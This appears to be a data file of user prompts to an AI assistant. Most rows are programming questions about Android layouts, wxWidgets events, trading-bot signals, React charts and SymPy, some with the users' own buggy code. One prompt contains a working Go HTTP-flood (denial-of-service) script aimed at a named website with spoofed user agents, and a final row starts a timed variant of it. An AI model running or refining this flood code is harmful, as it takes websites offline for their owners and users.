android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_3”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
</FrameLayout>
<FrameLayout
android:id=“@+id/frameLayout_2”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
app:layout_constraintTop_toBottomOf=“@+id/frameLayout”>
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Ужасы”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_4”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
</FrameLayout>
<FrameLayout
android:id=“@+id/frameLayout_3”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
app:layout_constraintTop_toBottomOf=“@+id/frameLayout_2”>
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Научная фантастика”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_5”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
</FrameLayout>
<FrameLayout
android:id=“@+id/frameLayout_4”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
app:layout_constraintTop_toBottomOf=“@+id/frameLayout_3”>
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Мультфильмы”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_6”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
</FrameLayout>
<FrameLayout
android:id=“@+id/frameLayout_5”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
app:layout_constraintTop_toBottomOf=“@+id/frameLayout_4”>
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Приключения”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_7”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
</FrameLayout>
<FrameLayout
android:id=“@+id/frameLayout_6”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
app:layout_constraintTop_toBottomOf=“@+id/frameLayout_5”>
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Аниме”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_8”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
</FrameLayout>
<FrameLayout
android:id=“@+id/frameLayout_7”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
app:layout_constraintTop_toBottomOf=“@+id/frameLayout_6”>
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Детектив”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_9”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
</FrameLayout>
<FrameLayout
android:id=“@+id/frameLayout_8”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
app:layout_constraintTop_toBottomOf=“@+id/frameLayout_7”>
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Семейное”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_10”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
</FrameLayout>
<FrameLayout
android:id=“@+id/frameLayout_9”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
app:layout_constraintTop_toBottomOf=“@+id/frameLayout_8”>
<TextView
android:layout_width=“wrap_content”
android:layout_height=“wrap_content”
android:layout_marginTop=“4dp”
android:paddingStart=“15dp”
android:text=“Историческое”
android:textColor=“@color/silver”
android:textSize=“19sp”
android:textStyle=“bold”
app:layout_constraintBottom_toTopOf=“@+id/first_type_recycleView_2”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:ignore=“MissingConstraints” />
<androidx.recyclerview.widget.RecyclerView
android:id=“@+id/first_type_recycleView_11”
android:layout_width=“match_parent”
android:layout_height=“wrap_content”
android:layout_marginTop=“24dp”
android:clipToPadding=“false”
android:paddingStart=“8dp”
android:paddingEnd=“8dp”
app:layout_constraintTop_toBottomOf=“@+id/first_type_recycleView”
tools:layout_editor_absoluteX=“16dp” />
</FrameLayout>
</androidx.constraintlayout.widget.ConstraintLayout>
</ScrollView> | 0834bb7b18ef3d7eec628b5b4db906b2 | {
"intermediate": 0.22289659082889557,
"beginner": 0.4694097638130188,
"expert": 0.30769360065460205
} |
17,648 | in another instance of you, you said to me this:
First, define a custom event class to handle the communication between frames. This class will contain the newly created object as a member variable.
// Custom event class
class NewObjectEvent : public wxEvent
{
public:
NewObjectEvent(wxEventType eventType = wxEVT_NULL, int id = 0)
: wxEvent(id, eventType) {}
// Setter and getter for the newly created object
void SetNewObject(Object* newObj) { m_newObject = newObj; }
Object* GetNewObject() const { return m_newObject; }
// Required for copying the event object
wxEvent* Clone() const override { return new NewObjectEvent(this); }
private:
Object m_newObject; // Newly created object
};
Next, in your second frame class, when a new object is created, create an instance of the custom event and set the newly created object.
// Second frame class
class SecondFrame : public wxFrame
{
public:
SecondFrame(wxFrame* parent, const wxString& title)
: wxFrame(parent, wxID_ANY, title) {}
void OnObjectCreated()
{
// Create a new object
Object* newObj = new Object();
// Create a custom event and set the newly created object
NewObjectEvent event(wxEVT_NEW_OBJECT);
event.SetNewObject(newObj);
// Post the event to the parent frame
wxPostEvent(GetParent(), event);
// Close the second frame or perform other actions
Close();
}
};
Finally, in the first frame class, connect the event handler and implement the event handling function to retrieve the newly created object and add it to the vector.
// First frame class
class FirstFrame : public wxFrame
{
public:
FirstFrame(const wxString& title)
: wxFrame(nullptr, wxID_ANY, title)
{
// Connect the event handler to the custom event
Bind(wxEVT_NEW_OBJECT, &FirstFrame::OnNewObject, this);
}
void OnNewObject(NewObjectEvent& event)
{
// Get the newly created object from the event
Object* newObj = event.GetNewObject();
// Add the new object to the vector
myVector.push_back(newObj);
}
private:
std::vector<Object*> myVector; // Vector of objects
};
I want to know where is wxEVT_NEW_OBJECT defined? | ac99bd5de6e74ccbbe5e0430c95481ad | {
"intermediate": 0.4949384927749634,
"beginner": 0.29914888739585876,
"expert": 0.20591259002685547
} |
17,649 | Write python class for resampling data | f9f1cee6e5d60522d7be2bcd7c926602 | {
"intermediate": 0.35901913046836853,
"beginner": 0.35728776454925537,
"expert": 0.2836931645870209
} |
17,650 | I used this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signals = []
signal = []
# Retrieve depth data
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if buy_qty > sell_qty:
signals.append('Bullish')
elif sell_qty > buy_qty:
signals.append('Bearish')
if 'Bearish' in signals:
signal.append('sell')
elif 'Bullish' in signals:
signal.append('buy')
else:
return ''
return signal
Yes it giving me right signals but time to time it giving me signals to buy and sell every second , and commission fee is getting all profit , I need code for long term positions 1 hour till 2 hours | 4bf4485b470ea8420035ce59452fdd1e | {
"intermediate": 0.42993760108947754,
"beginner": 0.28475216031074524,
"expert": 0.2853102385997772
} |
17,651 | In excel, is there a way to calculate the following.
(Date in Column A - Date in column F) - number of days that are Saturday and Sunday within the two dates of A & F | b731c40c623a93ea4bc6ec3d58007015 | {
"intermediate": 0.37677496671676636,
"beginner": 0.24101677536964417,
"expert": 0.3822082579135895
} |
17,652 | I have this code:
class GameEvent : public wxEvent
{
public:
GameEvent(wxEventType eventType=wxEVT_NULL, int id=0);
virtual ~GameEvent();
void SetGame(Game* game);
Game* GetGame() const;
void SetGameEventType(GameEventType gameEventType);
GameEventType GetGameEventType();
wxEvent* Clone() const override { return new GameEvent(this); }
private:
Game* game;
GameEventType gameEventType;
};
But is giving me errors in the Clone method, the error is this:
include\GameEvent.h|18|error: invalid conversion from ‘const GameEvent*’ to ‘wxEventType’ {aka ‘int’} [-fpermissive]| | a9532cd738cfc5927a28d594cb172e03 | {
"intermediate": 0.30866602063179016,
"beginner": 0.5574667453765869,
"expert": 0.13386733829975128
} |
17,653 | I have this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
# Retrieve depth data
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if buy_qty > sell_qty:
return 'buy'
elif sell_qty > buy_qty:
return ' sell'
I need code with my order book strategy , but this new code need to catch every top and bottom | 308eea48b0c4149708b0ca4b878a360c | {
"intermediate": 0.382585346698761,
"beginner": 0.3008517324924469,
"expert": 0.3165629208087921
} |
17,654 | export interface ProfitChartWidgetType {
[key: string]: string | number;
}
interface CumulativeProfitChartProps {
data: ProfitChartWidgetType;
}
const CumulativeProfitChart = ({data}: CumulativeProfitChartProps) => {
const [profitData, setProfitData] = useState<ProfitChartWidgetType[]>([]);
const darkTheme = useTheme().palette.mode === "dark";
useEffect(() => {
if (data.length === 0) {
setProfitData([]);
} else {
setProfitData(parseProfitData(data));
}
}, [data]);
const parseProfitData = (profitData: Record<string, string | number>): ProfitChartWidgetType[] => {
const result: ProfitChartWidgetType[] = [];
const dates: string[] = Object.keys(profitData).sort((a, b) => dayjs(a).isBefore(dayjs(b)) ? -1 : 1);
for (const date of dates) {
if (Object.hasOwnProperty.call(profitData, date)) {
result.push({
date: date,
profit: typeof profitData[date] === "number" ? profitData[date] : parseFloat(profitData[date] as string),
});
}
}
return result;
};
нужно если, есть пустые даты, создавать новые с таким же значением, как предыдущие.. например с 16 по 27 нету даты, получается должны быть все до 27 с прибылью как у 16 числа | 7469fc878ba973daddbe9419ef4a0539 | {
"intermediate": 0.4351847469806671,
"beginner": 0.2929735481739044,
"expert": 0.27184170484542847
} |
17,655 | checkbox values from api and when select one of them, click on button to show the result depend on checkbox selected angular | 28c39bdc160517628141df42678e137e | {
"intermediate": 0.58164381980896,
"beginner": 0.1140214055776596,
"expert": 0.3043347895145416
} |
17,656 | get the value of the checked box and pass it in a function in button angular | 871c42f08023d1ea485ef56eed06fab2 | {
"intermediate": 0.3268910050392151,
"beginner": 0.35386550426483154,
"expert": 0.319243460893631
} |
17,657 | Create architecture description of android based payment application using UML format documtnt | fac8e062b35f59fc359bfce306fcc656 | {
"intermediate": 0.3296566903591156,
"beginner": 0.27120497822761536,
"expert": 0.39913833141326904
} |
17,658 | cmake add lib json path json Project\external\json | 56d2154b7f18b71a27a6a66eaecfd864 | {
"intermediate": 0.5549449920654297,
"beginner": 0.2215723842382431,
"expert": 0.22348260879516602
} |
17,659 | Есть код: x = symbols('x')
eq = Eq((UnevaluatedExpr(5 * x) - 3) + (UnevaluatedExpr(7 * x) - 4), 8 - (15 - UnevaluatedExpr(11 * x)))
print(latex(eq))
Необходимо выводить результат со скобками \left(5 x - 3\right) + \left(7 x - 4\right) = 8 - \left(15 - 11 x\right), выводит -7 + 5 x + 7 x = 8 - \left(15 - 11 x\right) | 15e74ebea685766215f3b71cd3e27813 | {
"intermediate": 0.19877882301807404,
"beginner": 0.653704822063446,
"expert": 0.14751635491847992
} |
17,660 | Сделай грамотное выравнивание , помни что надпись “больше” должна стоять справа ,но леве стрелочки : <TextView
android:id="@+id/textView"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="8dp"
android:paddingStart="15dp"
android:text="Драма"
android:textColor="@color/silver"
android:textSize="19sp"
android:textStyle="bold"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView"
app:layout_constraintTop_toBottomOf="@+id/CustomRecycleView"
tools:ignore="MissingConstraints" />
<ImageView
android:id="@+id/arrowImageView"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@drawable/baseline_keyboard_arrow_right_24"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.0"
app:layout_constraintStart_toEndOf="@+id/moreTextView"
app:layout_constraintTop_toBottomOf="@+id/CustomRecycleView"
app:layout_constraintVertical_bias="0.722" />
<TextView
android:id="@+id/moreTextView"
android:layout_width="56dp"
android:layout_height="25dp"
android:layout_marginEnd="64dp"
android:layout_marginBottom="4dp"
android:text="Больше"
android:textColor="@color/silver"
android:textSize="16sp"
app:layout_constraintBottom_toTopOf="@+id/first_type_recycleView"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.925"
app:layout_constraintStart_toEndOf="@+id/textView"
app:layout_constraintTop_toBottomOf="@+id/CustomRecycleView"
app:layout_constraintVertical_bias="1.0" /> | fc6b44de8631f9a5e2083e976db2bccb | {
"intermediate": 0.2624318599700928,
"beginner": 0.5944058895111084,
"expert": 0.14316228032112122
} |
17,661 | export interface ProfitChartWidgetType {
[key: string]: string | number;
}
interface CumulativeProfitChartProps {
data: ProfitChartWidgetType;
}
const CumulativeProfitChart = ({data}: CumulativeProfitChartProps) => {
const [profitData, setProfitData] = useState<ProfitChartWidgetType[]>([]);
const darkTheme = useTheme().palette.mode === "dark";
useEffect(() => {
if (data.length === 0) {
setProfitData([]);
} else {
setProfitData(parseProfitData(data));
}
}, [data]);
if(Object.entries(data).length === 0) {
return <></>;
}
return <>
<TooltipMui title="прибыль" placement="top-start">
<Typography pl={1} component="span" fontSize="xxx-large" fontWeight={600}>
${parseFloat(`${profitPercentage}`).toFixed(2)}
{
profitPercentage > 0 ?
<span style={{paddingLeft: 10}} >
<ArrowSircleIconForWidget htmlColor="#006943" />
</span> : <></>
}
</Typography>
</TooltipMui>
<Box p={1} mt={-2.5} height="calc(100% - 110px)">
<ResponsiveContainer
minHeight={"100%"}
height="100%"
width="100%"
>
<LineChart margin={{
top: 20,
right: 0,
left: 3,
bottom: -5,
}} width={500} data={profitData}>
<CartesianGrid strokeDasharray="3 3" stroke={darkTheme ? "#5c5a57" : "#ccc"} />
<XAxis
dataKey="date"
axisLine={false}
tickLine={false}
minTickGap={-20}
tick={({x, y, payload}) => {
const date = dayjs(payload.value);
const weekday = date.locale("ru").format("dd");
const day = date.format("DD");
return (
<text
x={x}
y={y + 10}
textAnchor="middle"
fill="#9E9B98"
fontSize={13}
>
{`${weekday}, ${day}`}
</text>
);
}}
/>
<YAxis
orientation="right"
axisLine={false}
tickLine={false}
tick={({x, y, payload}) => {
return (
<text
x={x + 15}
y={y}
textAnchor="middle"
fill="#9E9B98"
fontSize={13}
>
{
+payload.value >= 0 ? `$${Math.abs(+payload.value)}` : `-$${Math.abs(+payload.value)}`
}
</text>
);
}}
/>
<Tooltip content={<CustomTooltip />} />
<Line
type="linear"
dataKey="profit"
stroke="#006943"
strokeWidth={3}
dot={false}
/>
</LineChart>
</ResponsiveContainer>
</Box>
</>;
};
const parseProfitData = (profitData: Record<string, string | number>): ProfitChartWidgetType[] => {
const result: ProfitChartWidgetType[] = [];
const dates: string[] = Object.keys(profitData).sort((a, b) => dayjs(a).isBefore(dayjs(b)) ? -1 : 1);
let prevDate = dates[0];
for (const date of dates) {
if (Object.hasOwnProperty.call(profitData, date)) {
const currentDate = dayjs(date);
const prevDateValue = profitData[prevDate];
const currentDateValue = typeof profitData[date] === "number" ? profitData[date] : parseFloat(profitData[date] as string);
if (currentDate.diff(prevDate, "day") > 1) {
const missingDates = findMissingDates(prevDate, currentDate);
for (const missingDate of missingDates) {
result.push({
date: missingDate,
profit: prevDateValue,
});
}
}
result.push({
date: date,
profit: currentDateValue,
});
prevDate = date;
}
}
return result;
};
const findMissingDates = (prevDate: string, currentDate: dayjs.ConfigType): string[] => {
const missingDates: string[] = [];
let tempDate = dayjs(prevDate).add(1, "day");
while (tempDate.isBefore(currentDate, "day")) {
missingDates.push(tempDate.format("YYYY-MM-DD"));
tempDate = tempDate.add(1, "day");
}
return missingDates;
};
const CustomTooltip = ({active, payload, label}: any) => {
if (active && payload && payload.length) {
const profitValue = parseFloat(`${Math.abs(+payload[0].payload.profit)}`).toFixed(2);
return (
<Box bgcolor="#21201F" px={2} height={32} display="flex" alignItems="center" borderRadius={5} >
<text style={{color: "#fff", fontSize: "small"}}>
{+payload[0].payload.profit >= 0 ? `$${profitValue}` : `-$${profitValue}`}
</text>
</Box>
);
}
return null;
};
нужно те даты, которые мы добавляем новые missingDate делать dot true, у остальных, которые есть dot={false} | e3065a018dc2b72ab566c06529fd3e15 | {
"intermediate": 0.2899795174598694,
"beginner": 0.5275480151176453,
"expert": 0.18247252702713013
} |
17,662 | export interface ProfitChartWidgetType {
[key: string]: string | number;
}
interface CumulativeProfitChartProps {
data: ProfitChartWidgetType;
}
const CumulativeProfitChart = ({data}: CumulativeProfitChartProps) => {
const [profitData, setProfitData] = useState<ProfitChartWidgetType[]>([]);
const darkTheme = useTheme().palette.mode === "dark";
useEffect(() => {
if (data.length === 0) {
setProfitData([]);
} else {
setProfitData(parseProfitData(data));
}
}, [data]);
if(Object.entries(data).length === 0) {
return <></>;
}
return <>
<TooltipMui title="прибыль" placement="top-start">
<Typography pl={1} component="span" fontSize="xxx-large" fontWeight={600}>
${parseFloat(`${profitPercentage}`).toFixed(2)}
{
profitPercentage > 0 ?
<span style={{paddingLeft: 10}} >
<ArrowSircleIconForWidget htmlColor="#006943" />
</span> : <></>
}
</Typography>
</TooltipMui>
<Box p={1} mt={-2.5} height="calc(100% - 110px)">
<ResponsiveContainer
minHeight={"100%"}
height="100%"
width="100%"
>
<LineChart margin={{
top: 20,
right: 0,
left: 3,
bottom: -5,
}} width={500} data={profitData}>
<CartesianGrid strokeDasharray="3 3" stroke={darkTheme ? "#5c5a57" : "#ccc"} />
<XAxis
dataKey="date"
axisLine={false}
tickLine={false}
minTickGap={-20}
tick={({x, y, payload}) => {
const date = dayjs(payload.value);
const weekday = date.locale("ru").format("dd");
const day = date.format("DD");
return (
<text
x={x}
y={y + 10}
textAnchor="middle"
fill="#9E9B98"
fontSize={13}
>
{`${weekday}, ${day}`}
</text>
);
}}
/>
<YAxis
orientation="right"
axisLine={false}
tickLine={false}
tick={({x, y, payload}) => {
return (
<text
x={x + 15}
y={y}
textAnchor="middle"
fill="#9E9B98"
fontSize={13}
>
{
+payload.value >= 0 ? `$${Math.abs(+payload.value)}` : `-$${Math.abs(+payload.value)}`
}
</text>
);
}}
/>
<Tooltip content={<CustomTooltip />} />
<Line
type="linear"
dataKey="profit"
stroke="#006943"
strokeWidth={3}
dot={false}
/>
</LineChart>
</ResponsiveContainer>
</Box>
</>;
};
const parseProfitData = (profitData: Record<string, string | number>): ProfitChartWidgetType[] => {
const result: ProfitChartWidgetType[] = [];
const dates: string[] = Object.keys(profitData).sort((a, b) => dayjs(a).isBefore(dayjs(b)) ? -1 : 1);
let prevDate = dates[0];
for (const date of dates) {
if (Object.hasOwnProperty.call(profitData, date)) {
const currentDate = dayjs(date);
const prevDateValue = profitData[prevDate];
const currentDateValue = typeof profitData[date] === "number" ? profitData[date] : parseFloat(profitData[date] as string);
if (currentDate.diff(prevDate, "day") > 1) {
const missingDates = findMissingDates(prevDate, currentDate);
for (const missingDate of missingDates) {
result.push({
date: missingDate,
profit: prevDateValue,
});
}
}
result.push({
date: date,
profit: currentDateValue,
});
prevDate = date;
}
}
return result;
};
const findMissingDates = (prevDate: string, currentDate: dayjs.ConfigType): string[] => {
const missingDates: string[] = [];
let tempDate = dayjs(prevDate).add(1, "day");
while (tempDate.isBefore(currentDate, "day")) {
missingDates.push(tempDate.format("YYYY-MM-DD"));
tempDate = tempDate.add(1, "day");
}
return missingDates;
};
const CustomTooltip = ({active, payload, label}: any) => {
if (active && payload && payload.length) {
const profitValue = parseFloat(`${Math.abs(+payload[0].payload.profit)}`).toFixed(2);
return (
<Box bgcolor="#21201F" px={2} height={32} display="flex" alignItems="center" borderRadius={5} >
<text style={{color: "#fff", fontSize: "small"}}>
{+payload[0].payload.profit >= 0 ? `$${profitValue}` : `-$${profitValue}`}
</text>
</Box>
);
}
return null;
};
нужно те даты, которые мы добавляем новые missingDate делать dot true, у остальных, которые есть dot={false} | 81552c2e48befc3139c0bdd9a1d6865f | {
"intermediate": 0.2899795174598694,
"beginner": 0.5275480151176453,
"expert": 0.18247252702713013
} |
17,663 | export interface ProfitChartWidgetType {
[key: string]: string | number;
}
interface CumulativeProfitChartProps {
data: ProfitChartWidgetType;
}
const CumulativeProfitChart = ({data}: CumulativeProfitChartProps) => {
const [profitData, setProfitData] = useState<ProfitChartWidgetType[]>([]);
const darkTheme = useTheme().palette.mode === "dark";
useEffect(() => {
if (data.length === 0) {
setProfitData([]);
} else {
setProfitData(parseProfitData(data));
}
}, [data]);
if(Object.entries(data).length === 0) {
return <></>;
}
return <>
<Box p={1} mt={-2.5} height="calc(100% - 110px)">
<ResponsiveContainer
minHeight={"100%"}
height="100%"
width="100%"
>
<LineChart margin={{
top: 20,
right: 0,
left: 3,
bottom: -5,
}} width={500} data={profitData}>
<CartesianGrid strokeDasharray="3 3" stroke={darkTheme ? "#5c5a57" : "#ccc"} />
<XAxis
dataKey="date"
axisLine={false}
tickLine={false}
/>
<YAxis
orientation="right"
axisLine={false}
tickLine={false}
/>
<Tooltip content={<CustomTooltip />} />
<Line
type="linear"
dataKey="profit"
stroke="#006943"
strokeWidth={3}
dot={false}
/>
</LineChart>
</ResponsiveContainer>
</Box>
</>;
};
const parseProfitData = (profitData: Record<string, string | number>): ProfitChartWidgetType[] => {
const result: ProfitChartWidgetType[] = [];
const dates: string[] = Object.keys(profitData).sort((a, b) => dayjs(a).isBefore(dayjs(b)) ? -1 : 1);
let prevDate = dates[0];
for (const date of dates) {
if (Object.hasOwnProperty.call(profitData, date)) {
const currentDate = dayjs(date);
const prevDateValue = profitData[prevDate];
const currentDateValue = typeof profitData[date] === "number" ? profitData[date] : parseFloat(profitData[date] as string);
if (currentDate.diff(prevDate, "day") > 1) {
const missingDates = findMissingDates(prevDate, currentDate);
for (const missingDate of missingDates) {
result.push({
date: missingDate,
profit: prevDateValue,
});
}
}
result.push({
date: date,
profit: currentDateValue,
});
prevDate = date;
}
}
return result;
};
const findMissingDates = (prevDate: string, currentDate: dayjs.ConfigType): string[] => {
const missingDates: string[] = [];
let tempDate = dayjs(prevDate).add(1, "day");
while (tempDate.isBefore(currentDate, "day")) {
missingDates.push(tempDate.format("YYYY-MM-DD"));
tempDate = tempDate.add(1, "day");
}
return missingDates;
};
нужно те даты, которые мы добавляем новые missingDate делать dot true, у остальных, которые есть dot={false} | c68c55ad3ba3d5f19a140a1472ecb52d | {
"intermediate": 0.3396160900592804,
"beginner": 0.48811981081962585,
"expert": 0.17226412892341614
} |
17,664 | code html web
Computer, please ask the user to enter his password
Hey! User, pelase write your password.
Computer, check if the password matches the one saved in the file
if it matches, log him in M^
else, show him an error saying
"you entered the wrong password, please try again" | e66251a9f12869a65721ea0ffa0fc7cf | {
"intermediate": 0.39361119270324707,
"beginner": 0.21106776595115662,
"expert": 0.3953210413455963
} |
17,665 | is this a ddos script?
package main
import (
"net/http"
"math/rand"
"strconv"
)
func httpFlood(UAs []string) {
for {
randNum := strconv.Itoa(rand.Int());
url := "http://se1zed.cc/" + "?page=" + randNum
UA := UAs[rand.Intn(len(UAs))]
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", UA)
http.DefaultClient.Do(req)
}
}
func main() {
userAgents := []string{
"Dalvik/1.6.0 (Linux; U; Android 4.1.1; NX008HD8G Build/JRO03C)",
"Mozilla/5.0 (Linux; Android 10; SM-A107F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4168.1 Safari/537.36",
"Dalvik/1.6.0 (Linux; U; Android 4.2.2; CX_718 Build/JDQ39)",
"Mozilla/5.0 (Linux; Android 8.1.0; C210AE Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 6.0; Lenovo TB3-850M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Safari/537.36",
"Mozilla/5.0 (Linux; Android 9; Redmi Note 8T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.110 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 7.0; itel S41) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Mobile Safari/537.36",
"Dalvik/2.1.0 (Linux; U; Android 10; 706SH Build/S2005)",
"Mozilla/5.0 (Linux; arm; Android 9; SM-J415FN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 YaApp_Android/10.92 YaSearchBrowser/10.92 BroPP/1.0 SA/1 Mobile Safari/537.36",
}
threads := 1 // Localhost - 3
for i := 0; i < threads - 1; i++ {
go httpFlood(userAgents)
}
httpFlood(userAgents)
}; | 681f910b276718a0ad9902fa3fde4524 | {
"intermediate": 0.49215540289878845,
"beginner": 0.26278242468833923,
"expert": 0.24506217241287231
} |
17,666 | package main
import (
"net/http"
"math/rand"
"strconv"
"time"
)
func httpFlood(UAs []string, duration int, startTime int){
for int(time.Now()) <= startTime + duration {
